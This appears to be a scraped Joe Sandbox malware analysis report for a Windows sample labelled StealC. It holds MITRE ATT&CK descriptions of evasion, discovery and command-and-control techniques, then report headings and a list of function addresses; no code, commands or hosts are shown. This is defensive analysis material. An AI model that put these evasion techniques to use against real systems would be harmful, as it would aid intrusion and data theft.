Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: StealC

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Networking

System Summary

Data Obfuscation

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Rich Headers

Data Directories

Sections

Imports

Network Behavior

Suricata IDS Alerts

Network Port Distribution

TCP Packets

Windows Analysis Report
file.exe

Function 00179860 Relevance: 59.7, APIs: 33, Strings: 1, Instructions: 212
libraryloaderCOMMON

Function 001645C0 Relevance: 56.1, APIs: 2, Strings: 30, Instructions: 148
memoryCOMMON

Function 00164880 Relevance: 28.5, APIs: 11, Strings: 5, Instructions: 479
networkstringfileCOMMON

Function 00179C10 Relevance: 200.2, APIs: 112, Strings: 2, Instructions: 684
libraryloaderCOMMON

Function 00166280 Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 191
networkfileCOMMON

Function 00175510 Relevance: 23.1, APIs: 7, Strings: 6, Instructions: 383
sleepCOMMON

Function 001717A0 Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 162
COMMON

Function 00177500 Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 106
memoryCOMMON

Function 001769F0 Relevance: 9.1, APIs: 6, Instructions: 89
sleepCOMMON

Function 00161220 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 41
COMMON

Function 00176AF3 Relevance: 6.0, APIs: 4, Instructions: 30
sleepCOMMON

Function 001647B0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 63
stringnetworkCOMMON

Function 001751F0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 50
COMMON